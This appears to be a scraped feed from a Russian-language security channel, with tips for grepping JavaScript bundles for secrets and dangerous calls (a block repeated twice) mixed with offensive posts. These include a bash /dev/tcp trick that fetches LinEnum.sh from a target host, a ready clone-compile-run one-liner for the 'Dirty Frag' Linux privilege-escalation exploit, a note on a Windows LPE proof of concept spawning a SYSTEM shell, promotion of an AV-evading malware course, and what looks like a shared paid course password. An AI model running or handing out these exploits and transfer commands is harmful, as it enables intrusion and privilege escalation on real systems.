All Security Engineering Courses

😐 Несколько примеров в дополнение к статье по анализу js бандлов • Извлечение JavaScript файлов из вложенных директорий

find /path/to/your/folders -name "*.js" -exec mv {} /path/to/target/folder/ \;

• Поиск API-ключей и секретов

cat * | grep -rE "apikey|api_key|secret|token|password|auth|key|pass|user"

• Обнаружение опасных вызовов функций

cat * | grep -rE "eval|document\.write|innerHTML|setTimeout|setInterval|Function"

• Проверка манипуляций с URL

cat * | grep -rE "location\.href|location\.replace|location\.assign|window\.open"

• Поиск междоменных запросов

cat * | grep -rE "XMLHttpRequest|fetch|Access-Control-Allow-Origin|withCredentials" /path/to/js/files

• Анализ использования postMessage

cat * | grep -r "postMessage"

• Поиск захардкоженных URL или эндпоинтов

cat * | grep -rE "https?://|www\."

• Поиск отладочной информации

cat * | grep -rE "console\.log|debugger|alert|console\.dir"

• Исследование обработки пользовательского ввода

cat * | grep -rE "document\.getElementById|document\.getElementsByClassName|document\.querySelector|document\.forms"

😐 Несколько примеров в дополнение к статье по анализу js бандлов • Извлечение JavaScript файлов из вложенных директорий

find /path/to/your/folders -name "*.js" -exec mv {} /path/to/target/folder/ \;

• Поиск API-ключей и секретов

cat * | grep -rE "apikey|api_key|secret|token|password|auth|key|pass|user"

• Обнаружение опасных вызовов функций

cat * | grep -rE "eval|document\.write|innerHTML|setTimeout|setInterval|Function"

• Проверка манипуляций с URL

cat * | grep -rE "location\.href|location\.replace|location\.assign|window\.open"

• Поиск междоменных запросов

cat * | grep -rE "XMLHttpRequest|fetch|Access-Control-Allow-Origin|withCredentials" /path/to/js/files

• Анализ использования postMessage

cat * | grep -r "postMessage"

• Поиск захардкоженных URL или эндпоинтов

cat * | grep -rE "https?://|www\."

• Поиск отладочной информации

cat * | grep -rE "console\.log|debugger|alert|console\.dir"

• Исследование обработки пользовательского ввода

cat * | grep -rE "document\.getElementById|document\.getElementsByClassName|document\.querySelector|document\.forms"

MiniPlasma (Windows unpatched LPE) CVE-2020-17103 was apparently not patched or the patch was reversed, regardless this the PoC for an LPE in cldflt.sys, weaponized to spawn a SYSTEM shell. Success rate may vary since it's a race condition.

В модуле File Transfers подметил один из интересных способов передачи файлов на linux, через /dev/tcp если вдруг вы сильно ограничены в инструментарии. Версия bash от 2.04 и выше. Connect to the Target Webserver

exec 3<>/dev/tcp/10.10.10.32/80

HTTP GET Request

echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

Print the Response

cat <&3

Dirty Frag: Universal Linux LPE

One-line specialgit clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

📱 https://github.com/V4bel/dirtyfrag

15-stage Windows malware development & analysis course in Rust. Red team builds it, blue team detects it. All 15 binaries achieved 0/76 on VirusTotal. https://github.com/F2u0a0d3/goodboy-framework #cours #books

OffSec - AI-300: Advanced AI Red Teaming🔥🆕 👨‍💻 Password : @WickHelps 👍 Exam Guide : link ❗️ Backup all channels link 👨‍💻 Proof of work Link 🚀 Any-Issues: Chat Here